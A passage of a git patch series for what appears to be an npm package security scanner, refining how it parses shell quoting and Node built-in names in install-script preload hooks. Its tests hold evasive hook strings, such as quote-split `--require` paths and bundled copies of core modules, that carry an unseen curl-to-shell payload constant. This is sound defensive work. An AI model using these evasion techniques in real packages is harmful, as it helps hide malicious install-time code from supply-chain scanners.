const nextClose = (q: string, from: number, anywhere = false): number | undefined => { - const key = anywhere ? `${q}*` : q; - const list = (closers[key] ??= rawWords.flatMap((rw, k) => ((anywhere ? hasUnescaped(rw, q) : rw.endsWith(q)) ? [k] : []))); + const nextClose = (q: string, from: number): number | undefined => { + const list = (closers[q] ??= rawWords.flatMap((rw, k) => (rw.endsWith(q) ? [k] : []))); let lo = 0, hi = list.length; while (lo < hi) { const mid = (lo + hi) >> 1; if (list[mid]! < from) lo = mid + 1; else hi = mid; } return list[lo]; }; let i = 0; + let walkBudget = 2 * rawWords.length + 8; // total words the quote walks below may read in this command let viaWrapper = false; // after `env`/`sudo`/... the next word is an external command, never a builtin for (; i < words.length && isPrefix(words, i); i++) { const local = localCommand(words[i]!, !viaWrapper); @@ -446,8 +446,14 @@ function makeResolver(files: PackageFile[], scripts: Record): (c let val = words[i]!.slice(eq + 1); // `NODE_OPTIONS='-r ./hook'`: a quote left open by the word spans to the next word that ends with it. The // spanned words are also scanned as a command line of their own, then prefix parsing resumes after the span. - const q = openQuote(val); - const e = q ? nextClose(q, i + 1, true) : undefined; + let q = quoteStep("", val); + let e: number | undefined; + if (q && walkBudget > 0) { // the span ends at the first word after which the quote state is balanced + let k = i + 1; + for (; k < rawWords.length && q; k++) q = quoteStep(q, rawWords[k]!); + walkBudget -= k - i; // an unbalanced walk (to the end) consumes only its own word, and the budget keeps this linear + if (!q) e = k - 1; + } if (e !== undefined) { const spanned = rawWords.slice(i + 1, e + 1).join(" "); val += ` ${spanned}`; @@ -457,6 +463,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // Node's tokenizer may differ from ours: scan the quote-aware and the plain split, so a difference only adds coverage. scanOptionTokens(splitUnquoted(unquote(val)), out); scanOptionTokens(unquote(val).split(/\s+/).filter(Boolean), out); + scanOptionTokens(removeQuotes(val).split(/\s+/).filter(Boolean), out); // `--require=./a'b'.js` is `./ab.js` to the shell } const command = words[i]; if (!command) continue; @@ -556,9 +563,8 @@ const EXTERNAL_WRAPPERS = new Set(["env", "exec", "nohup", "sudo", "npx", "xargs // Builtins of every shell npm may use (sh, bash, dash, zsh, cmd): in direct command position they never run a bundled bin. const SHELL_BUILTINS = new Set([":", "[", "cd", "echo", "exit", "export", "false", "printf", "pwd", "read", "set", "shift", "test", "true", "umask", "unset", "wait"]); -/** The quote character a shell word leaves open (`'-r`), counting unescaped quotes; "" when balanced. */ -function openQuote(w: string): string { - let q = ""; +/** The quote state (`'`, `"` or "") after reading word `w` from state `q`; a backslash outside single quotes escapes. */ +function quoteStep(q: string, w: string): string { for (let i = 0; i < w.length; i++) { const c = w[i]!; if (c === "\\" && q !== "'") i++; @@ -568,13 +574,18 @@ function openQuote(w: string): string { return q; } -/** Whether a word holds an unescaped quote character `q` (it closes a span opened by `q`). */ -function hasUnescaped(w: string, q: string): boolean { +/** A word after shell quote removal (`a'b'.js` -> `ab.js`). */ +function removeQuotes(w: string): string { + let out = ""; + let q = ""; for (let i = 0; i < w.length; i++) { - if (w[i] === "\\" && q !== "'") i++; - else if (w[i] === q) return true; + const c = w[i]!; + if (c === "\\" && q !== "'" && i + 1 < w.length) out += w[++i]; + else if (q) { if (c === q) q = ""; else out += c; } + else if (c === "'" || c === '"') q = c; + else out += c; } - return false; + return out; } /** A declared relative path as npm normalizes it: `\` to `/`, then `path.posix.join("/", v).slice(1)` (clamps `..` at the root). */ diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 5cd1551..508ccf5 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -162,6 +162,14 @@ describe("round 2 hardening", () => { const ms = performance.now() - t0; assert.ok(ms < 1000, `took ${ms} ms`); }); + test("a span ends where the quote state is balanced, across words that reopen a quote", () => { + assert.deepEqual(sev("A='x y'z'w q' node setup", { "package/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y'z'w q' node setup", { "package/setup": BENIGN }), ["low"]); + }); + test("NODE_OPTIONS is also scanned after shell quote removal", () => { + assert.deepEqual(sev("NODE_OPTIONS=--require=./a'b'.js node -v", { "package/ab.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--require=./a'b'.js node -v", { "package/ab.js": BENIGN }), ["low"]); + }); test("a closing quote followed by an unquoted suffix still ends the span", () => { assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": PAYLOAD }), ["critical"]); assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": BENIGN }), ["low"]); From 3993918af1fe7675bda83ac94dc7214197fe967a Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:56:55 +0200 Subject: [PATCH 6/7] fix(core): a Node built-in preload is never a bundled module `node -r buffer` loads the core module even when node_modules/buffer is bundled. A fixed built-in list (or a node: specifier) skips bundled resolution, keeping the verdict independent of the auditing Node version. --- packages/core/src/rules/install-scripts.ts | 10 +++++++++- packages/core/test/security-bundled-modules.test.ts | 13 +++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 0df612d..c28e292 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -314,7 +314,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const preload = (value: string): PackageFile | undefined => { const v = trimPunct(value); if (!v) return undefined; - if (!LOCAL_PATH.test(v)) return spillAll(resolveModule(v)); + if (!LOCAL_PATH.test(v)) return isNodeBuiltin(v) ? undefined : spillAll(resolveModule(v)); const ref = v.replace(/^\.\//, ""); return spillAll([resolveWord(v, "script"), ...(v.startsWith("/") ? [] : [exact(`package/${ref}.js`), suffix(`${ref}.js`)])]); }; @@ -556,6 +556,14 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; } +// Node loads its own core module for these names (or any `node:` specifier), never a bundled package of the same name. +// A fixed list keeps the verdict independent of the Node version running the audit. +const NODE_BUILTINS = new Set(["assert", "async_hooks", "buffer", "child_process", "cluster", "console", "constants", "crypto", + "dgram", "diagnostics_channel", "dns", "domain", "events", "fs", "http", "http2", "https", "inspector", "module", "net", "os", + "path", "perf_hooks", "process", "punycode", "querystring", "readline", "repl", "stream", "string_decoder", "sys", "timers", + "tls", "trace_events", "tty", "url", "util", "v8", "vm", "wasi", "worker_threads", "zlib"]); +const isNodeBuiltin = (spec: string) => spec.startsWith("node:") || NODE_BUILTINS.has(spec.split("/")[0]!); + const MAX_INLINE_DEPTH = 3; const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; // Wrappers that exec an external program: `env echo` runs a bundled `echo` bin, a bare `echo` is the builtin. diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 508ccf5..852505a 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -217,3 +217,16 @@ describe("commands from bundled bins", () => { assert.deepEqual(sev("evil", { "package/node_modules/evil/package.json": "{not json", "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); }); }); + +describe("Node built-ins are not bundled modules", () => { + test("`-r buffer` and `NODE_OPTIONS=--require=util` load core modules, not bundled copies", () => { + const dangerous = `${CURL_SH}\n`; + for (const hook of ["node -r buffer -v", "NODE_OPTIONS=--require=util node -v", "node -r node:events -v", "node -r fs/promises -v"]) { + const files: Record = { + "package/node_modules/buffer/index.js": dangerous, "package/node_modules/util/index.js": dangerous, + "package/node_modules/events/index.js": dangerous, "package/node_modules/fs/promises.js": dangerous, + }; + assert.ok(!sev(hook, files).includes("critical"), hook); + } + }); +}); From b332253c30b70220a5ce836b777da44c1b1f4dae Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:59:40 +0200 Subject: [PATCH 7/7] fix(core): match Node built-in specifiers exactly `buffer/evil` is not a core module; Node resolves it from node_modules. Match whole ids plus the real built-in subpaths instead of the first segment. --- packages/core/src/rules/install-scripts.ts | 5 ++++- packages/core/test/security-bundled-modules.test.ts | 6 ++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index c28e292..b1b6ce5 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -562,7 +562,10 @@ const NODE_BUILTINS = new Set(["assert", "async_hooks", "buffer", "child_process "dgram", "diagnostics_channel", "dns", "domain", "events", "fs", "http", "http2", "https", "inspector", "module", "net", "os", "path", "perf_hooks", "process", "punycode", "querystring", "readline", "repl", "stream", "string_decoder", "sys", "timers", "tls", "trace_events", "tty", "url", "util", "v8", "vm", "wasi", "worker_threads", "zlib"]); -const isNodeBuiltin = (spec: string) => spec.startsWith("node:") || NODE_BUILTINS.has(spec.split("/")[0]!); +// Exact names only: `buffer/evil` is NOT a core module, Node resolves it from node_modules. +const NODE_BUILTIN_SUBPATHS = new Set(["assert/strict", "dns/promises", "fs/promises", "inspector/promises", "path/posix", + "path/win32", "readline/promises", "stream/consumers", "stream/promises", "stream/web", "timers/promises", "util/types"]); +const isNodeBuiltin = (spec: string) => spec.startsWith("node:") || NODE_BUILTINS.has(spec) || NODE_BUILTIN_SUBPATHS.has(spec); const MAX_INLINE_DEPTH = 3; const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 852505a..c7b2ba9 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -230,3 +230,9 @@ describe("Node built-ins are not bundled modules", () => { } }); }); + +describe("only exact built-in names skip bundled resolution", () => { + test("`-r buffer/evil` resolves the bundled file Node actually loads", () => { + assert.ok(sev("node -r buffer/evil -v", { "package/node_modules/buffer/evil.js": `${CURL_SH}\n` }).includes("critical")); + }); +});